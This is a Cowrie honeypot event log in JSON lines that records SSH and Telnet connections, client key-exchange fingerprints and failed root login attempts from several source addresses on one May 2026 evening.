{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":46082,"dst_ip":"159.203.135.109","dst_port":22,"session":"a47b392b3984","protocol":"ssh","message":"New connection: 139.19.117.129:46082 (159.203.135.109:22) [session: a47b392b3984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:54:29.432227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:54:29.436138Z","src_ip":"139.19.117.129","session":"a47b392b3984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:54:29.531817Z","src_ip":"139.19.117.129","session":"a47b392b3984","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:c9:cf:ff:62:27:87:a8:c7:26:85:16:0d:30:c7:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbycSDMFcFBauoKYXazObAtH0v6KnFghRPZrvmFUnwquQ6M0VXWvW8uYkJLQCUkVJukCj5iN8rmFfLPmPKQpjHkFa+7a8yvTZ3RbWSo2SnIYrqNuUSxA+JYEFmAeRG1LS52Iqiz1t90Bx+GqeiK6VC1HIkD/CaSACBl7vsnJTvpdr4wlL54JLfBtM7fOPy9Yw/wbjbJZ5MrY//4exdyF+PPt2JEUIF9yutMXefyDIsZajY2fl7u1IwJr1Ql4/75FFHlvHe/q8IJfxIQH/Fuj3tRSPxRMIWaZXHN3nghoGItKw6ZcPTX4ctI4oo/dEqh9/+kYkWCvJlQ2H6Os445opl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:c9:cf:ff:62:27:87:a8:c7:26:85:16:0d:30:c7:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:54:29.726466Z","src_ip":"139.19.117.129","session":"a47b392b3984","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:c9:cf:ff:62:27:87:a8:c7:26:85:16:0d:30:c7:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbycSDMFcFBauoKYXazObAtH0v6KnFghRPZrvmFUnwquQ6M0VXWvW8uYkJLQCUkVJukCj5iN8rmFfLPmPKQpjHkFa+7a8yvTZ3RbWSo2SnIYrqNuUSxA+JYEFmAeRG1LS52Iqiz1t90Bx+GqeiK6VC1HIkD/CaSACBl7vsnJTvpdr4wlL54JLfBtM7fOPy9Yw/wbjbJZ5MrY//4exdyF+PPt2JEUIF9yutMXefyDIsZajY2fl7u1IwJr1Ql4/75FFHlvHe/q8IJfxIQH/Fuj3tRSPxRMIWaZXHN3nghoGItKw6ZcPTX4ctI4oo/dEqh9/+kYkWCvJlQ2H6Os445opl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:54:29.730345Z","src_ip":"139.19.117.129","session":"a47b392b3984","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:c9:cf:ff:62:27:87:a8:c7:26:85:16:0d:30:c7:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbycSDMFcFBauoKYXazObAtH0v6KnFghRPZrvmFUnwquQ6M0VXWvW8uYkJLQCUkVJukCj5iN8rmFfLPmPKQpjHkFa+7a8yvTZ3RbWSo2SnIYrqNuUSxA+JYEFmAeRG1LS52Iqiz1t90Bx+GqeiK6VC1HIkD/CaSACBl7vsnJTvpdr4wlL54JLfBtM7fOPy9Yw/wbjbJZ5MrY//4exdyF+PPt2JEUIF9yutMXefyDIsZajY2fl7u1IwJr1Ql4/75FFHlvHe/q8IJfxIQH/Fuj3tRSPxRMIWaZXHN3nghoGItKw6ZcPTX4ctI4oo/dEqh9/+kYkWCvJlQ2H6Os445opl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:c9:cf:ff:62:27:87:a8:c7:26:85:16:0d:30:c7:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:54:29.831997Z","src_ip":"139.19.117.129","session":"a47b392b3984","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:c9:cf:ff:62:27:87:a8:c7:26:85:16:0d:30:c7:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbycSDMFcFBauoKYXazObAtH0v6KnFghRPZrvmFUnwquQ6M0VXWvW8uYkJLQCUkVJukCj5iN8rmFfLPmPKQpjHkFa+7a8yvTZ3RbWSo2SnIYrqNuUSxA+JYEFmAeRG1LS52Iqiz1t90Bx+GqeiK6VC1HIkD/CaSACBl7vsnJTvpdr4wlL54JLfBtM7fOPy9Yw/wbjbJZ5MrY//4exdyF+PPt2JEUIF9yutMXefyDIsZajY2fl7u1IwJr1Ql4/75FFHlvHe/q8IJfxIQH/Fuj3tRSPxRMIWaZXHN3nghoGItKw6ZcPTX4ctI4oo/dEqh9/+kYkWCvJlQ2H6Os445opl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:54:29.835890Z","src_ip":"139.19.117.129","session":"a47b392b3984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:54:39.432634Z","src_ip":"139.19.117.129","session":"a47b392b3984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00291562080383,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:01.010941Z","src_ip":"152.42.224.71","session":"14ecd183a12e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.109.228.161","src_port":51628,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2fa3772588f","protocol":"ssh","message":"New connection: 65.109.228.161:51628 (10.17.0.5:22) [session: a2fa3772588f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:03.048620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:03.054991Z","src_ip":"65.109.228.161","session":"a2fa3772588f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:03.168323Z","src_ip":"65.109.228.161","session":"a2fa3772588f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:bc:d6:10:a8:d8:62:0b:f5:16:5e:41:fb:60:eb:48","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBDV5ZQHC/1/hlU7QMwjXvJVthJpYWaeRHnsw5gn4FzO","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ce:bc:d6:10:a8:d8:62:0b:f5:16:5e:41:fb:60:eb:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:03.706468Z","src_ip":"65.109.228.161","session":"a2fa3772588f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:bc:d6:10:a8:d8:62:0b:f5:16:5e:41:fb:60:eb:48","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBDV5ZQHC/1/hlU7QMwjXvJVthJpYWaeRHnsw5gn4FzO","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:03.710346Z","src_ip":"65.109.228.161","session":"a2fa3772588f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:ee:af:70:93:fa:de:8c:84:74:90:ab:e5:4a:8c:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVh/C7SYBnHd3cIL1FJ3m3qrZthNOQ/IgL74/5VmFOdjQ35+95vNixzm/8Axr+DBRBUhSnuwVePgiSLek+KMfT0LxexJUDwH08i50W14QT65oYq2ehhNFBCaVeaQiYdHLHiXlCRLsMP0OOciH7DrVbWJ3EqLw/GWQdHpEq0daZk3IXZHiwyxobAW+P3HMCwOFMP/2Bm3MZi/xiwAsQkWGNfNOiOb2wsjfstE4+pz6UTWqmFs1WiUv2hqVNYevrVPXldfs2ozOPDkg6GmPXFQq9FIO4I32IKEjEEBQLM+vSj8wo1ZhX96q5zggwKUyO5r/2/GV2DgM1qnvimyQBaHNh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:ee:af:70:93:fa:de:8c:84:74:90:ab:e5:4a:8c:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:03.844595Z","src_ip":"65.109.228.161","session":"a2fa3772588f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:ee:af:70:93:fa:de:8c:84:74:90:ab:e5:4a:8c:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVh/C7SYBnHd3cIL1FJ3m3qrZthNOQ/IgL74/5VmFOdjQ35+95vNixzm/8Axr+DBRBUhSnuwVePgiSLek+KMfT0LxexJUDwH08i50W14QT65oYq2ehhNFBCaVeaQiYdHLHiXlCRLsMP0OOciH7DrVbWJ3EqLw/GWQdHpEq0daZk3IXZHiwyxobAW+P3HMCwOFMP/2Bm3MZi/xiwAsQkWGNfNOiOb2wsjfstE4+pz6UTWqmFs1WiUv2hqVNYevrVPXldfs2ozOPDkg6GmPXFQq9FIO4I32IKEjEEBQLM+vSj8wo1ZhX96q5zggwKUyO5r/2/GV2DgM1qnvimyQBaHNh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:03.851973Z","src_ip":"65.109.228.161","session":"a2fa3772588f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:ef:8f:14:94:c6:10:56:ed:df:36:aa:de:6c:da:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlgKR+E60e6Y4XtDqw5pgA6W3pAaT0gSj0J1PgWmQMuHhkB1FB8SEW29P4ipzqquiG5+cUl3Ex+L9mCfaRFQknXbAodOUWWMqZ+5+i1uifXp/acLg8uW8CTxuE6AWSNZ0bR7w3nGuewxCfiGoRqD+7MRI7ow8PVJmxKeRWCbZwONCAcN7RnYYwxhq/tJS/2SQtVD8HDIxLAInJJwC6UiYEZaD3xsuABvuN3RadhdEXmf2rY08ngviw/hD8XDREFJS1vwNxaxqW0YHmmsUTZUhCKon91pRo18uflE3ulwyWIPHYTUFU5N1aKtQVGFcmGyRaTV1QKImLP12oWy886U0J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:ef:8f:14:94:c6:10:56:ed:df:36:aa:de:6c:da:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:03.974719Z","src_ip":"65.109.228.161","session":"a2fa3772588f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:ef:8f:14:94:c6:10:56:ed:df:36:aa:de:6c:da:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlgKR+E60e6Y4XtDqw5pgA6W3pAaT0gSj0J1PgWmQMuHhkB1FB8SEW29P4ipzqquiG5+cUl3Ex+L9mCfaRFQknXbAodOUWWMqZ+5+i1uifXp/acLg8uW8CTxuE6AWSNZ0bR7w3nGuewxCfiGoRqD+7MRI7ow8PVJmxKeRWCbZwONCAcN7RnYYwxhq/tJS/2SQtVD8HDIxLAInJJwC6UiYEZaD3xsuABvuN3RadhdEXmf2rY08ngviw/hD8XDREFJS1vwNxaxqW0YHmmsUTZUhCKon91pRo18uflE3ulwyWIPHYTUFU5N1aKtQVGFcmGyRaTV1QKImLP12oWy886U0J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:03.978810Z","src_ip":"65.109.228.161","session":"a2fa3772588f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:4d:81:b8:a4:b0:f9:9c:45:8e:11:5d:22:3c:8b:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC29DkjvSWteRh/MZbn6G6CiZp3IbI7q3k6VP0nIzeABNBIUx3qXkDpAKK9Js+Ke0CtZhtjUH9p9WnQwtqFHzlKV7JQ50DB+/xaJFbtkYL2HHEU7X95PndcLPf8RZhKb2M3BcYPtIvirTY20UWb94BAUqTQ1BBIYOTQLeYgbMP1kHeVEeOxGjDBlEE4qOB9MYPHRjvsKDV2Uhv9/MuHaD6MsyZkdy7OHAQyX/Z2ffvBMMcWUmNhP9WrBRvUMG16S//noITDk/266DQUX0b2RQMCqK7uC3NfGBOdJ1a3pMfVLpLeHnQgyIxLQrTqH3jMuhT4ifLLp7txlTFf/Vr+d5W3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:4d:81:b8:a4:b0:f9:9c:45:8e:11:5d:22:3c:8b:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:04.102363Z","src_ip":"65.109.228.161","session":"a2fa3772588f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:4d:81:b8:a4:b0:f9:9c:45:8e:11:5d:22:3c:8b:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC29DkjvSWteRh/MZbn6G6CiZp3IbI7q3k6VP0nIzeABNBIUx3qXkDpAKK9Js+Ke0CtZhtjUH9p9WnQwtqFHzlKV7JQ50DB+/xaJFbtkYL2HHEU7X95PndcLPf8RZhKb2M3BcYPtIvirTY20UWb94BAUqTQ1BBIYOTQLeYgbMP1kHeVEeOxGjDBlEE4qOB9MYPHRjvsKDV2Uhv9/MuHaD6MsyZkdy7OHAQyX/Z2ffvBMMcWUmNhP9WrBRvUMG16S//noITDk/266DQUX0b2RQMCqK7uC3NfGBOdJ1a3pMfVLpLeHnQgyIxLQrTqH3jMuhT4ifLLp7txlTFf/Vr+d5W3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:04.106898Z","src_ip":"65.109.228.161","session":"a2fa3772588f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:dd:49:bb:28:a4:0e:8d:fa:5f:cd:60:fe:60:8b:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTxJSWVHcs27LlKnmSvz2TRoT4c8C/tnf09m83YDdrthBwFuLfSWM2SJ8XYbw+GKjCUE/ujK4T36u3o3tilCzxYe3rUc9fXOpl6Uks3JKFGQ15xk0UIbH7RfH//GKxxiMUH3+qTw7dLcVh2E7a6UxcT7b2ZiRhnIFwieNN49taHM+gSk5/tWYAGAsFb5fVBRUem2kTIGKzLo/XuMTZ5KK47MzMZqr7Q13zXYL6uDH2v0Ji4FAz5kADUvpkwXMJedtyKpMZLtdl4ahwiXde6GwX0N/nEMmXG2wnFpR/6iC9Q2HS4U/muo6ECKHTygIYgYqh61F3csuNK1nVWKQKLg1oZR+1KPBig6om7Wi32W18kpCSN682EgFafDsZ/0GCE3hMHpjrZUWiSHI5uyQqk0SXx5TYo2zsqi+JrFtWSCOyvwmVvn2tqCmLvDMN7Q4LCz6uVMSHEGicgRNJVR/tLnKNnIrrg4ZUBYY89OsTn0x18w599Mj/2Xac+NGqku0slQMJ/NR5p6qmK5J3gO3EK+nt9R/zY4yCNOoVNBsTvTO1VuPwlRfp7HNyrbrvocp9MOd8yAT10X0mlqRqfIGEOp385ahIjx8su3xzeAeVVlrjbzh1DV2sKIpMyTZ7m0gw2BctbRamdfjyLnyZAQGkDcaaUfvpvjXg6scN2AIyKRUcrQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:dd:49:bb:28:a4:0e:8d:fa:5f:cd:60:fe:60:8b:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:04.236252Z","src_ip":"65.109.228.161","session":"a2fa3772588f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:dd:49:bb:28:a4:0e:8d:fa:5f:cd:60:fe:60:8b:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTxJSWVHcs27LlKnmSvz2TRoT4c8C/tnf09m83YDdrthBwFuLfSWM2SJ8XYbw+GKjCUE/ujK4T36u3o3tilCzxYe3rUc9fXOpl6Uks3JKFGQ15xk0UIbH7RfH//GKxxiMUH3+qTw7dLcVh2E7a6UxcT7b2ZiRhnIFwieNN49taHM+gSk5/tWYAGAsFb5fVBRUem2kTIGKzLo/XuMTZ5KK47MzMZqr7Q13zXYL6uDH2v0Ji4FAz5kADUvpkwXMJedtyKpMZLtdl4ahwiXde6GwX0N/nEMmXG2wnFpR/6iC9Q2HS4U/muo6ECKHTygIYgYqh61F3csuNK1nVWKQKLg1oZR+1KPBig6om7Wi32W18kpCSN682EgFafDsZ/0GCE3hMHpjrZUWiSHI5uyQqk0SXx5TYo2zsqi+JrFtWSCOyvwmVvn2tqCmLvDMN7Q4LCz6uVMSHEGicgRNJVR/tLnKNnIrrg4ZUBYY89OsTn0x18w599Mj/2Xac+NGqku0slQMJ/NR5p6qmK5J3gO3EK+nt9R/zY4yCNOoVNBsTvTO1VuPwlRfp7HNyrbrvocp9MOd8yAT10X0mlqRqfIGEOp385ahIjx8su3xzeAeVVlrjbzh1DV2sKIpMyTZ7m0gw2BctbRamdfjyLnyZAQGkDcaaUfvpvjXg6scN2AIyKRUcrQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:04.241566Z","src_ip":"65.109.228.161","session":"a2fa3772588f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:04.372710Z","src_ip":"65.109.228.161","session":"a2fa3772588f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36678,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dfd0891a37a","protocol":"telnet","message":"New connection: 152.42.224.71:36678 (10.17.0.5:23) [session: 2dfd0891a37a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:15.094215Z"}
{"eventid":"cowrie.session.closed","duration":97.92452788352966,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:31.284187Z","src_ip":"152.42.224.71","session":"8f1381fb4016","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":60796,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff77f6bfa344","protocol":"ssh","message":"New connection: 185.236.22.41:60796 (10.17.0.5:22) [session: ff77f6bfa344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:33.423273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:33.432113Z","src_ip":"185.236.22.41","session":"ff77f6bfa344","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:33.564793Z","src_ip":"185.236.22.41","session":"ff77f6bfa344","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sobaka","message":"login attempt [root/sobaka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:34.070199Z","src_ip":"185.236.22.41","session":"ff77f6bfa344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:55:35.202172Z","src_ip":"185.236.22.41","session":"ff77f6bfa344","protocol":"ssh"}
